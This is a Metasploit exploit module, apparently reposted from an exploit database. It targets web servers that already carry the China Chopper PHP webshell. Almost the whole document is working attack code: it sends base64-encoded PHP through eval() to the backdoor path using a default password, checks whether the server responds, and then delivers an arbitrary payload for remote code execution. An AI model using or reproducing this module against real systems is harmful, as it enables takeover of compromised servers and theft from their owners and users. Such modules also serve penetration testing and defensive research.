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# China Chopper Caidao PHP Backdoor Code Execution Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'China Chopper Caidao PHP Backdoor Code Execution',
'Description' => %q{
This module takes advantage of the China Chopper Webshell that is
commonly used by Chinese hackers.
},
'License' => MSF_LICENSE,
'Author' => ['Nixawk'],
'References' =>
[
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 27 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])
], self.class)
end

def http_send_command(code)
code = "eval(base64_decode("#{Rex::Text.encode_base64(code)}"));"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
"#{datastore['PASSWORD']}" => code
}
})
end

def check
flag = Rex::Text.rand_text_alpha(16)
res = http_send_command("printf("#{flag}");")
if res && res.body =~ /#{flag}/m
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
print_status("#{peer} - Sending exploit...")
http_send_command(payload.raw)
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-11-13]

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